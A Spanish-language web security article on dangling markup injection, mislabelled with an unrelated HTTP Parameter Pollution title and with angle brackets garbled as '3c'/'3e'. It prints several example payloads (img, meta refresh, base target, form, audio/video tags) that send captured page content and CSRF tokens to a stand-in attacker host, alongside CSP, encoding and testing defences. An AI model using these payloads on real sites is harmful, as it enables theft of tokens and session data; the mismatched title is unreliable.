HTTP Parameter Pollution (HPP): Cuando los servidores no se ponen de acuerdo

Introducción

En el panorama en constante evolución de la seguridad en aplicaciones web, los atacantes desarrollan técnicas sofisticadas para sortear las medidas de protección. Aunque la Política de Seguridad de Contenido (CSP) y un filtrado robusto de entradas han sido cada vez más efectivos para prevenir ataques tradicionales de Cross-Site Scripting (XSS), un método de explotación sutil pero potente llamado Inyección de marcado colgante ofrece a los adversarios una vía alternativa para exfiltrar datos sensibles sin ejecutar ningún código JavaScript.

Esta técnica aprovecha el comportamiento fundamental del navegador y los mecanismos de análisis HTML para capturar información confidencial, incluyendo tokens CSRF, identificadores de sesión, credenciales de autenticación y datos personales. Lo que hace que la inyección de marcado colgante sea particularmente peligrosa es su capacidad para operar en entornos donde la ejecución de scripts está completamente bloqueada, eludiendo muchos controles de seguridad modernos en los que los desarrolladores confían.

¿Qué es la inyección de marcado colgante?

La inyección de marcado colgante es una técnica de exfiltración de datos que captura información entre dominios en situaciones donde no son posibles ataques completos de XSS. A diferencia de los ataques XSS convencionales que requieren ejecución de JavaScript, el marcado colgante explota la forma en que los navegadores analizan etiquetas HTML incompletas y atributos.

El ataque funciona inyectando marcado HTML que deja intencionadamente etiquetas o atributos sin cerrar — de ahí el término “colgante”. Cuando los navegadores encuentran estos elementos incompletos, implementan un análisis permisivo basado en la especificación HTML5, que prioriza la experiencia del usuario sobre la estricta sintaxis. En lugar de generar un error, los navegadores tratan todo el texto siguiente como parte de la etiqueta o atributo sin cerrar hasta que encuentran el delimitador de cierre correspondiente.

El mecanismo central

Considera una aplicación vulnerable que incrusta datos controlados por el usuario en sus respuestas sin una sanitización adecuada:

3cinput type="text" name="user_input" value="CONTROLLABLE_DATA_HERE"3e

Si la aplicación no filtra o escapa correctamente caracteres como 3e o ", un atacante puede inyectar HTML incompleto que altera fundamentalmente cómo interpreta el navegador el contenido de la página. El comportamiento permisivo del análisis del navegador se convierte en la arma del atacante, transformando el marcado legítimo en datos exfiltrados.

Cómo el análisis del navegador habilita el ataque

Los navegadores modernos implementan mecanismos de análisis HTML permisivos diseñados para manejar el marcado malformado de manera elegante. Esta decisión de diseño, aunque mejora la experiencia del usuario en sitios mal codificados, crea una vulnerabilidad de seguridad que explota la inyección de marcado colgante.

Cuando un navegador encuentra un atributo sin cerrar, continúa escaneando hacia adelante en el documento hasta encontrar el delimitador de cierre correspondiente. Todo lo que esté entre el punto de inyección y ese delimitador se convierte en parte del valor del atributo — incluso si ese contenido incluye tokens sensibles, datos de formulario u otra información confidencial que nunca se pretendió exponer.

El navegador ignora cualquier recurrencia del carácter de apertura que encuentre durante esta exploración, enfocándose únicamente en encontrar el carácter de cierre. Este comportamiento permite a los atacantes “capturar” porciones arbitrarias del documento HTML y transmitirlas a servidores controlados por ellos mediante mecanismos HTML estándar como solicitudes de imagen o envíos de formularios.

Vectores básicos de ataque

Inyección en la fuente de la imagen

El ataque de marcado colgante más común y sencillo usa una etiqueta de imagen con un atributo src intencionadamente sin cerrar:

"3e3cimg src='https://attacker-server.com/?

Cuando esta carga útil se inyecta en un parámetro vulnerable, el navegador comienza a analizar el valor del atributo src y continúa hasta encontrar la siguiente comilla simple en el documento HTML. Todo lo capturado entre el punto de inyección y esa comilla — incluyendo tokens CSRF, datos de sesión o información del usuario — se codifica en URL y se transmite al servidor del atacante como parte de la solicitud de la imagen.

Por ejemplo, si la inyección ocurre antes de un token CSRF:

"3e3cimg src='https://attacker-server.com/?
3cinput type="hidden" name="csrf_token" value="a3f8d92b4e1c"3e

La solicitud resultante al servidor del atacante incluiría el token CSRF en la cadena de consulta URL, permitiendo al atacante capturarlo sin ejecutar JavaScript.

Redirección con Meta Refresh

Los atacantes también pueden explotar el atributo http-equiv de la etiqueta 3cmeta3e para realizar redirecciones capturando datos:

3cmeta http-equiv="refresh" content="0; url=https://attacker-server.com/?

Esta técnica redirige el navegador del usuario a un servidor controlado por el atacante, enviando todo el marcado capturado como parte de la URL. El ataque es especialmente efectivo porque las redirecciones meta refresh a menudo están permitidas por las políticas CSP que bloquean otros métodos de exfiltración.

Manipulación del objetivo de la etiqueta Base

Un enfoque más sofisticado implica el atributo target de la etiqueta 3cbase3e, que cambia la ventana de destino predeterminada para todos los enlaces en la página:

3cbase target='https://attacker-server.com/?

Este ataque aprovecha la propiedad window.name, que es accesible entre dominios. Cuando los usuarios hacen clic en cualquier enlace en la página comprometida, el atributo de destino incompleto hace que el navegador establezca el nombre de la ventana con todo el marcado entre el punto de inyección y la siguiente comilla. El atacante puede leer estos datos desde la ventana abierta, incluso en diferentes dominios.

Secuestro de formularios

Los atacantes pueden inyectar una nueva etiqueta de formulario o manipular los existentes para redirigir los datos enviados:

3cform action='https://attacker-server.com/capture'3e

Inyectando un elemento de formulario sin cerrar antes del formulario legítimo, el atacante hace que todos los campos de entrada posteriores — incluyendo aquellos con tokens CSRF o datos sensibles del usuario — se asocien con el formulario del atacante. Cuando los usuarios envían lo que creen que es el formulario legítimo, los datos se envían directamente al servidor del atacante.

Técnicas avanzadas de explotación

Exfiltración mediante nombre de iframe

Los atacantes sofisticados pueden abusar del atributo name del iframe para crear fugas de datos recursivas:

3ciframe src="//vulnerable-site.com/page?param="3e3ciframe name='" onload="exfiltrate(this)"3e

Esta técnica crea iframes anidados donde el atributo name del iframe interno captura marcado sensible, que luego puede ser accedido y exfiltrado por los manejadores de eventos del iframe externo.

Inyección en valor de entrada

Otro método avanzado implica inyectar campos ocultos de entrada que capturan todo hasta la siguiente comilla de cierre:

3cinput type="hidden" name="captured_data" value="

Todo el contenido posterior a esta inyección — incluyendo tokens CSRF, datos del usuario o información de sesión — se convierte en el valor de este campo oculto. Si el atacante puede activar un envío de formulario, estos datos se envían al destino del formulario.

Elementos de audio y video

De manera similar a las etiquetas de imagen, los elementos de audio y video pueden ser explotados para exfiltración de datos:

3caudio src='https://attacker-server.com/?
3cvideo src='https://attacker-server.com/?

Estas etiquetas generan solicitudes HTTP para cargar recursos multimedia, permitiendo a los atacantes capturar el marcado en sus URLs como con los elementos de imagen.

Robo de tokens CSRF: el objetivo principal

La aplicación más crítica de la inyección de marcado colgante consiste en robar tokens CSRF. Estos tokens están diseñados para proteger contra ataques de falsificación de solicitudes entre sitios asegurando que las solicitudes que cambian el estado provengan de fuentes legítimas. Normalmente se implementan como campos ocultos en formularios o encabezados personalizados que contienen valores impredecibles que deben incluirse en solicitudes sensibles.

Los tokens CSRF son particularmente vulnerables a la inyección de marcado colgante porque:

Ubicación estratégica: Los tokens suelen colocarse en campos ocultos justo al lado de campos de entrada controlados por el usuario
Formato predecible: Generalmente aparecen como valores de atributos HTML encerrados entre comillas
Alto valor: Una vez capturado, un token CSRF válido permite a los atacantes realizar acciones autenticadas en nombre de la víctima
Asociación a la sesión: Los tokens capturados están ligados a sesiones activas de usuario, lo que da a los atacantes una ventana limitada pero crítica para la explotación

Flujo de ataque para el robo de tokens CSRF

Un patrón típico de robo de tokens CSRF mediante inyección de marcado colgante sigue estos pasos:

Reconocimiento: El atacante identifica un punto de inyección en una página que también contiene tokens CSRF
Creación de carga útil: Crean una carga útil de marcado colgante que capturará el token
Entrega: La carga útil maliciosa se entrega mediante entrada reflejada, contenido almacenado o parámetros URL
Captura del token: Cuando la víctima carga la página comprometida, su navegador envía el token al servidor del atacante
Explotación del token: El atacante usa el token capturado para realizar acciones no autorizadas dentro de la sesión de la víctima

Una vez que un atacante obtiene un token CSRF válido, puede:

Modificar configuraciones de la cuenta del usuario (correo, contraseña, preguntas de seguridad)
Realizar transacciones financieras en nombre de la víctima
Cambiar permisos de acceso o elevar privilegios
Publicar contenido o enviar mensajes como la víctima
Eliminar o modificar datos del usuario
Realizar cualquier acción que cambie el estado que permita la aplicación

Por qué fallan las defensas tradicionales

Filtros de Cross-Site Scripting (XSS)

Las aplicaciones modernas a menudo emplean filtros XSS que detectan y bloquean intentos evidentes de inyección de scripts. Estos filtros buscan patrones como 3cscript3e, javascript:, onerror=, y otros vectores comunes de XSS. Sin embargo, la inyección de marcado colgante elude estas protecciones porque:

No hay ejecución de scripts: El ataque usa elementos HTML legítimos como 3cimg3e, 3cmeta3e, y 3cform3e sin ningún JavaScript
Apariencia inocua: Las etiquetas inyectadas individualmente parecen inofensivas para los filtros enfocados en bloquear código ejecutable
Sintaxis sutil: El poder del ataque proviene de lo que NO se incluye (comillas de cierre) en lugar de contenido malicioso
Dependiente del contexto: El comportamiento peligroso surge del análisis del navegador, no del contenido inyectado en sí

Política de Seguridad de Contenido (CSP)

La CSP está diseñada para prevenir XSS controlando qué recursos pueden cargarse y ejecutarse. Sin embargo, muchas implementaciones de CSP dejan vulnerables a las aplicaciones a la inyección de marcado colgante:

Carga permisiva de imágenes: Mientras que las políticas CSP a menudo bloquean la ejecución de scripts con script-src 'none', frecuentemente permiten la carga de imágenes para preservar la funcionalidad del sitio. Una política como:

Content-Security-Policy: default-src 'self'; script-src 'none'

Esta política bloquea con éxito la ejecución de JavaScript pero no impide que las etiquetas 3cimg3e hagan solicitudes a servidores externos, habilitando ataques básicos de marcado colgante.

Envío de formularios: Muchas políticas CSP no restringen las acciones de los formularios, permitiendo a los atacantes usar técnicas de secuestro de formularios incluso en entornos protegidos por CSP.

Limitaciones en las etiquetas meta: Algunas implementaciones de CSP no restringen adecuadamente las etiquetas 3cmeta3e con atributos http-equiv, permitiendo exfiltración basada en redirecciones.

Evasión por interacción del usuario: Incluso las políticas CSP más restrictivas pueden ser eludidas mediante técnicas que requieren mínima interacción del usuario, como manipulación de destino base o elementos clicables.

Validación de entradas

La validación estándar de entradas a menudo no previene la inyección de marcado colgante porque:

Bloqueo incompleto: Los validadores pueden permitir corchetes angulares o comillas en ciertos contextos
Evasión por codificación: Los diferentes esquemas de codificación pueden eludir listas negras simples
Confusión de contexto: Lo que es seguro en un contexto (como dentro de un nodo de texto) se vuelve peligroso en un valor de atributo
Limitaciones de longitud: Incluso cargas útiles acortadas pueden ser efectivas para exfiltración

Escenarios de ataque en el mundo real

Plataformas de redes sociales

Las aplicaciones de redes sociales permiten frecuentemente HTML limitado en contenido generado por usuarios como comentarios, publicaciones y biografías. La sanitización insuficiente en estas funciones ha llevado a vulnerabilidades de marcado colgante donde los atacantes:

Inyectaron marcado colgante persistente en comentarios de perfiles que afectó a todos los visitantes
Capturaron tokens de autenticación de perfiles de víctimas que visualizaban contenido comprometido
Crearon ataques auto-propagantes donde cuentas comprometidas infectaban automáticamente a otras
Recolectaron datos de usuarios incluyendo direcciones de email, identificadores de sesión y datos privados

Aplicaciones de comercio electrónico

Las plataformas de compras en línea han sido explotadas usando marcado colgante para capturar información financiera sensible:

Páginas de checkout con sanitización de entrada insuficiente permitieron inyección en campos de dirección
Información de tarjetas de crédito visible en el marcado HTML fue exfiltrada mediante etiquetas de imagen colgantes
Las páginas de confirmación de pedido filtraron detalles completos de la transacción incluyendo direcciones de facturación
Los datos del carrito de compras fueron capturados y transmitidos a servidores controlados por atacantes

Aplicaciones web empresariales

Las aplicaciones corporativas con flujos de autenticación complejos han sufrido vulnerabilidades de marcado colgante:

Implementaciones de Single Sign-On (SSO) con autenticación mediante enlaces mágicos fueron comprometidas
Paneles administrativos filtraron tokens CSRF a través de parámetros de email vulnerables
Sistemas de gestión de relaciones con clientes expusieron datos sensibles
Herramientas internas con validación de entrada débil permitieron robo persistente de tokens afectando a todos los usuarios

Ataques basados en email

Un vector de ataque particularmente sofisticado implica comprometer el manejo de parámetros en emails:

Un atacante identifica una función de notificación por email con sanitización insuficiente
Inyecta marcado colgante en el campo destinatario del email
El sistema genera un email que contiene la carga útil
Cuando el destinatario visualiza el email en un cliente web, el marcado colgante captura datos sensibles adyacentes
Estos datos (a menudo tokens de autenticación o identificadores de sesión) son exfiltrados al servidor del atacante

Mitigaciones en navegador y evolución

Reconociendo la gravedad de la inyección de marcado colgante, los fabricantes de navegadores han comenzado a implementar contramedidas, aunque estas protecciones aún son incompletas.

Enfoque de Chromium

Chrome y navegadores basados en Chromium han implementado mitigaciones contra la inyección de marcado colgante que previenen que ciertas etiquetas definan URLs que contienen caracteres en bruto como corchetes angulares, saltos de línea y otros caracteres problemáticos. Estas protecciones llevan aproximadamente seis años activas en Chromium y están siendo incorporadas formalmente en la especificación HTML.

Sin embargo, hasta 2022, investigadores de seguridad descubrieron bypasses en estas protecciones. Específicamente, cuando los navegadores Chromium actualizaban URLs en la página de HTTP a HTTPS, las salvaguardas contra la inyección de marcado colgante eran eludidas, permitiendo a los atacantes exfiltrar información sensible usando URLs con esquema HTTP que se actualizaban automáticamente.

Actualizaciones en la especificación

A partir de 2024, se están realizando esfuerzos para añadir formalmente mitigaciones contra la inyección de marcado colgante en la especificación HTML a través del WHATWG. Estas actualizaciones introducen nuevos algoritmos:

Algoritmo de Verificación de Marcado Colgante: Valida URLs antes del análisis
Algoritmo de Análisis de URL en HTML: Invoca la verificación de marcado colgante antes del análisis estándar de URLs
Codificación y serialización de URLs en HTML: Incorpora protecciones contra marcado colgante en toda la cadena de manejo de URLs

Los proveedores de navegadores como Mozilla (Firefox) y Apple (WebKit/Safari) están implementando estas mitigaciones basadas en la especificación actualizada.

Soporte actual en navegadores

El soporte en navegadores para mitigaciones contra marcado colgante varía:

Chrome/Edge/Opera: Protecciones implementadas desde hace aproximadamente seis años, aunque se han descubierto bypasses
Firefox: En proceso de implementación tras las actualizaciones de la especificación 2024
Safari: Protecciones parciales existentes con mejoras en curso
Navegadores móviles: Generalmente heredan protecciones de sus contrapartes de escritorio, aunque pueden retrasarse en actualizaciones

Estrategias de defensa integrales

Protegerse contra la inyección de marcado colgante requiere un enfoque en capas que combine sanitización de entradas, codificación de salidas, cabeceras de seguridad y decisiones arquitectónicas.

Sanitización de entradas y codificación de salidas

Validación estricta de entradas: Implementar validación basada en listas blancas que solo permita caracteres seguros explícitamente en las entradas de usuario. Para atributos, esto generalmente significa caracteres alfanuméricos y un conjunto muy limitado de caracteres especiales.

Codificación contextual de salidas: Aplicar diferentes esquemas de codificación según dónde aparezca la información del usuario en el documento HTML: - Codificación de entidades HTML para nodos de texto - Codificación en JavaScript para contextos de scripts - Codificación en URL para parámetros URL - Codificación en atributos para valores de atributos

Gestión de comillas: Usar siempre comillas dobles en atributos y asegurarse de escaparlas correctamente en contenido controlado por el usuario.

Fortalecimiento de la CSP

Implementar políticas CSP restrictivas que minimicen la superficie de ataque de marcado colgante:

Content-Security-Policy: 
  default-src 'none';
  img-src 'self';
  form-action 'self';
  base-uri 'none';

Esta política: - Bloquea todos los recursos externos por defecto - Restringe las imágenes a la misma origen - Previene envíos de formularios a dominios externos - Desactiva completamente la etiqueta 3cbase3e para evitar explotación del atributo target

Directivas CSP adicionales: Considerar agregar require-trusted-types-for 'script' para aplicar Trusted Types, reduciendo aún más los riesgos de inyección.

Protección adicional de tokens CSRF más allá del marcado colgante

Aunque el marcado colgante puede robar tokens, capas adicionales previenen la explotación:

Cookies SameSite: Configurar cookies de sesión con atributos SameSite=Strict o SameSite=Lax para evitar que se envíen con solicitudes entre sitios.

Encabezados personalizados: Requerir encabezados personalizados (como X-CSRF-Token) que no puedan establecerse mediante formularios HTML o solicitudes cross-origin simples.

Patrón de doble envío de cookies: Usar tokens firmados criptográficamente que vinculan el token CSRF a la sesión del usuario, haciendo que los tokens robados sean inútiles sin la cookie de sesión correspondiente.

Tokens de corta duración: Implementar expiración de tokens para minimizar la ventana de explotación si un token es capturado.

Defensas arquitectónicas

Separación de responsabilidades: Mantener operaciones sensibles en dominios o subdominios separados con autenticación aislada, dificultando la exfiltración entre dominios.

Diseño API-First: Usar APIs JSON con políticas CORS adecuadas en lugar de envíos tradicionales de formularios HTML, reduciendo la superficie de ataque para la inyección de marcado.

Funciones de seguridad en frameworks: Aprovechar las funciones de seguridad integradas en frameworks modernos como React, Angular o Vue.js, que ofrecen protección automática contra XSS y plantillas seguras.

Monitoreo y detección

Implementar monitoreo de seguridad para detectar posibles ataques de marcado colgante:

Solicitudes salientes anómalas: Vigilar patrones inusuales en solicitudes de imágenes, videos o audio
Inspección de parámetros: Detectar solicitudes que contienen etiquetas HTML parcialmente formadas en entradas de usuario
Reglas WAF: Desplegar reglas en Firewall de Aplicaciones Web que detecten patrones de marcado colgante
Escaneo de seguridad: Escanear regularmente las aplicaciones con herramientas que prueben específicamente vulnerabilidades de marcado colgante

Pruebas de vulnerabilidades de marcado colgante

Profesionales de seguridad y desarrolladores deben probar activamente estas vulnerabilidades usando enfoques sistemáticos.

Metodología de prueba manual

Identificar puntos de inyección: Encontrar todos los lugares donde la entrada del usuario se refleja en la salida HTML
Probar escape de comillas: Enviar cargas útiles con comillas y corchetes angulares para verificar si se escapan correctamente
Inyectar cargas útiles colgantes: Intentar cargas útiles básicas de marcado colgante como "3e3cimg src='//attacker.com/?
Monitorear solicitudes: Usar herramientas de desarrollo del navegador o proxies como Burp Suite para observar si se envía información a servidores externos
Verificar captura de datos: Comprobar si información sensible (tokens, datos de sesión) aparece en las solicitudes capturadas

Escaneo automatizado

Varias herramientas pueden ayudar a identificar vulnerabilidades de marcado colgante:

Burp Suite Professional: Incluye capacidades de escaneo para inyección HTML y marcado colgante
OWASP ZAP: Puede configurarse con reglas de escaneo personalizadas para detectar estas vulnerabilidades
Scripts personalizados: Desarrollar scripts específicos que prueben sistemáticamente los puntos de inyección con cargas útiles de marcado colgante

Escenarios de pruebas de penetración

Durante las pruebas de penetración, los investigadores de seguridad deben:

Probar todos los campos de entrada, parámetros URL y encabezados en busca de posibilidades de inyección
Examinar páginas que contienen tokens CSRF u otros datos sensibles
Verificar la efectividad de CSP contra técnicas de marcado colgante
Probar diferentes versiones de navegador para identificar vulnerabilidades específicas de implementación
Intentar técnicas de bypass cuando se detecten mitigaciones

El futuro de los ataques de marcado colgante

A medida que los navegadores continúan implementando mitigaciones y la especificación HTML evoluciona para formalizar protecciones, el panorama de la inyección de marcado colgante sigue cambiando.

Técnicas de ataque en evolución

Los atacantes descubren continuamente nuevas formas de eludir y variar:

Marcado colgante basado en DOM usando JavaScript del lado del cliente para inyectar cargas útiles
Ataques basados en temporización que explotan condiciones de carrera en las implementaciones de mitigación
Evasiones por codificación que eluden restricciones de caracteres
Técnicas específicas para navegadores móviles aprovechando diferencias en la implementación

Defensas emergentes

La comunidad de seguridad desarrolla protecciones mejoradas:

Trusted Types: APIs del navegador que imponen un manejo seguro de sinks peligrosos
API de Sanitizador: Sanitización nativa del navegador que ofrece limpieza HTML consistente y segura
CSP mejorada: Nuevas directivas CSP dirigidas específicamente a ataques de inyección
Evolución de frameworks: Frameworks modernos incorporando protecciones adicionales por defecto

Conclusión

La inyección de marcado colgante representa una clase sofisticada de vulnerabilidades web que eluden muchos controles de seguridad tradicionales explotando el comportamiento fundamental del navegador en lugar de requerir la ejecución de scripts. Su capacidad para exfiltrar datos sensibles — en particular tokens CSRF — sin activar filtros XSS o violar políticas CSP permisivas, la convierte en una amenaza persistente para la seguridad de aplicaciones web.

Comprender esta técnica de ataque es crucial para desarrolladores, profesionales de seguridad y testers de penetración. Aunque los navegadores implementan mitigaciones y las especificaciones evolucionan, la técnica sigue siendo efectiva contra muchas aplicaciones en producción, especialmente aquellas que dependen únicamente de la prevención de XSS o políticas CSP básicas.

La defensa efectiva requiere un enfoque integral y en profundidad: validación estricta de entradas y codificación de salidas, políticas CSP reforzadas, decisiones arquitectónicas de seguridad, protección robusta de tokens CSRF y monitoreo continuo de actividades sospechosas. A medida que evoluciona el panorama de la seguridad web, mantenerse informado sobre técnicas como la inyección de marcado colgante y sus contramedidas sigue siendo esencial para mantener aplicaciones web seguras.

Palabras clave: inyección de marcado colgante, robo de tokens CSRF, ataque de inyección HTML, exfiltración sin JavaScript, vulnerabilidad en análisis del navegador, etiquetas HTML incompletas, bypass de CSP, evasión de filtros XSS, fuga de tokens de sesión, seguridad en aplicaciones web, inyección en atributos, exfiltración de datos entre sitios, defensa contra marcado colgante, explotación en análisis HTML, bypass de protección CSRF